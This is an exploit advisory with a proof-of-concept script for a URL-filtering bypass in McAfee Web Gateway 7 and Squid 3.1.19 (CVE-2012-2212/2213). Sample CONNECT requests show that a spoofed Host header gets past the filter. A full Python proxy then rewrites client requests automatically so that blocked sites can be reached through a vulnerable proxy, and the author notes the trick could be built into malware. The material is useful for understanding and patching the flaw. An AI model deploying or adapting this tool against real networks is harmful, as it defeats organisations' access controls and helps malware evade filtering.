McAfee Web Gateway And Squid Proxy 3.1.19 Bypass

# Exploit Title: Proxy URL Filtering Bypass
# Date: 13/04/2012
# Author: Gabriel Menezes Nunes
# Version: McAfee Web Gateway and Squid Proxy
# Tested on: McAfee Web Gateway and Squid Proxy 3.1.19
# CVE: CVE-2012-2212 and CVE-2012-2213

I found a vulnerability in McAfee Web Gateway 7 and Squid Proxy that allows access to filtered sites.
The appliance/software believes in the Host field of HTTP Header using CONNECT method.
Example

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.facebook.com

It is blocked.

CONNECT 66.220.147.44:443 HTTP/1.1 (without host field)

It is blocked.

But:

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.uol.com.br (allowed url)

The connection works.

From here, I can send SSL traffic without a problem. This way, I can access any blocked site that allows SSL connections.
Others test that I did is convert GET methods in CONNECT methods.

GET http://www.facebook.com HTTP/1.1
Host: www.facebook.com

in

CONNECT 66.220.147.44:80 HTTP/1.1
Host: www.uol.com.br

It will connect.

and after it is possible to send the GET packets. It will work!

This vulnerability is different from the CONNECT Tunnel method. The flaw is on the Host field processing. The appliance believes on this field.

So, any sites can be accessed. URL filtering in this device/software is irrelevant and useless.
One of the most important (if not the most important) feature of this kind of device is to protect the network in accessing specific URLs. So, this flaw is very dangerous, and it can be implemented even in malwares, bypassing any protection.
I developed a python script that acts like a proxy and it uses this flaw to access any site.
This tool is just a proof of concept.

-------poc----------

import socket,struct,sys,time
from threading import Thread

#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
 
 client.settimeout(timeOut)
 
 global hostNameG
 

 while 1:
  
  dados = ""
  tam = 0
  while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                              
                                break

  
  dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
  if dd != -1:
    dd2 = dados.find(":")
    hostName = dados[dd+8:dd2]
   
    ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
    pacote = dados
    hostHeader = "Host: " + hostName
    pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
    pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
   
   
   
    dados = pacote
  
  getd = dados.find("GET ")
  getd2 = dados.find("//")
  getd3 = dados.find("/", getd2+2)
  hostName = dados[getd2+2:getd3]
  
  
  if getd != -1:
    globalSock.close()
    globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    globalSock.connect((proxyAddr,proxyPort))
    globalSock.settimeout(timeOut)
    getd2 = dados.find("//")
    getd3 = dados.find("/", getd2+2)
   
    hostName = dados[getd2+2:getd3]
   
    proxyAuth = ""
    proxyAuthN = dados.find("Proxy-Authorization:")
    if proxyAuthN != -1:
      proxyAuthNN = dados.find("\r\n", proxyAuthN)
      proxyAuth = dados[proxyAuthN:proxyAuthNN]
     
     
    ipAddr = socket.gethostbyname(hostName)
   
    info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
    if proxyAuthN != -1:
      info += proxyAuth + "\r\n"
   
    info += "Host: www.uol.com.br\r\n\r\n"
   
    globalSock.send(info)
    tam = 0
    gdata = ""
   
    while 1:
   try:
    
    gdata2 = globalSock.recv(1024)
    
    tam = tam + len(gdata2)
    gdata = gdata + gdata2
    
    if len(gdata2) == 0:
     break
    
    
   except socket.timeout:
    
    break
   
  
  
   
  
  globalSock.send(dados)
  tam = 0
  gdata = ""
  
  while 1:
   try:
    
    gdata2 = globalSock.recv(1024)
    
    if len(gdata2) > 0:
     client.send(gdata2)
    
    tam = tam + len(gdata2)
    gdata = gdata + gdata2
    
    if len(gdata2) == 0:
     break
    
    
   except socket.timeout:
    
    break
  
  

print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
 print 'Waiting for connections'
 client, address = sockzao.accept()
 print 'Client Connected'
 print address
 globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 globalSock.connect((proxyAddr,proxyPort))
 globalSock.settimeout(timeOut)

 t = Thread(target=handle, args=(client,globalSock,))
 t.start()